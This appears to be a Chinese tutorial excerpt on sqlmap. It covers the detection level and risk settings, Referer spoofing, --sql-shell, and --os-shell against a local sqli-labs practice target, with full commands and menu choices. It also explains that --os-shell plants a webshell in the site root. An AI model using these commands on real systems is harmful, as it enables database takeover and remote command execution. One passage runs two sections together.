探测等级和危险等级(—level —risk)
Sqlmap一共有5个探测等级,默认是1。等级越高,说明探测时使用的payload也越多。其中5级的payload最多,会自动破解出cookie、XFF等头部注入。当然,等级越高,探测的时间也越慢。这个参数会影响测试的注入点,GET和POST的数据都会进行测试,HTTP cookie在level为2时就会测试,HTTP User-Agent/Referer头在level为3时就会测试。在不确定哪个参数为注入点时,为了保证准确性,建议设置level为5
sqlmap一共有3个危险等级,也就是说你认为这个网站存在几级的危险等级。和探测等级一个意思,在不确定的情况下,建议设置为3级,—risk=3
sqlmap使用的payload在目录:/usr/share/sqlmap/xml/payloads
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --level=5 --risk=3 #探测等级5,平台危险等级3,都是最高级别
伪造 Http Referer头部
Sqlmap可以在请求中伪造HTTP中的referer,当探测等级为3或者3以上时,会尝试对referer注入,可以使用referer命令来欺骗,比如,我们伪造referer头为百度。可以这样
referer 执行指定的SQL语句(—sql-shell) sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --sql-shell #执行指定的sql语句然后会提示我们输入要查询的SQL语句,注意这里的SQL语句最后不要有分号
执行操作系统命令(—os-shell)
在数据库为MySQL、PostgreSql或者SQL Server时,可以执行该选项。
当为MySQL数据库时,需满足下面三个条件:
当前用户为 root
知道网站根目录的绝对路径
该数据库的 secure_file_priv 参数值为空(很多数据库的该值为NULL,这也就导致了即使当前用户是root,即使知道了网站根目录的绝对路径,也不能执行成功 —os-shell )
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --os-shell #执行--os-shell命令选择网站的脚本语言
【1】ASP(默认)
【2】ASPX
【3】JSP
【4】PHP
您是否希望sqlmap进一步尝试引发完整路径的披露?【Y/n】
选择判断网站可写目录的方法
如果我们不知道网站的根目录的绝对路径的话,我们那里选择 4 暴力破解,尝试破解出根目录的绝对路径。这里因为是我们本地的环境,已经知道网站根目录的绝对地址了,所以选择 2
【1】使用公共的默认目录(C:/xampp/htdocs/,C:/wamp/www,C:/Inetpub/wwwroot/)
【2】自定义网络根目录绝对路径
【3】指定自定义的路径文件
【4】暴力破解
可以看到,其实执行os-shell的过程中,sqlmap向网站根目录写入两个文件 tmpblwkd.php 和 tmpueqch.php。真正的木马文件是tmpblwkd.php 。如果是非正常退出sqlmap的话,这两个文件不会被删除。只有当我们输入 x 或 q 退出 sqlmap 时,该文件才会被自动删除。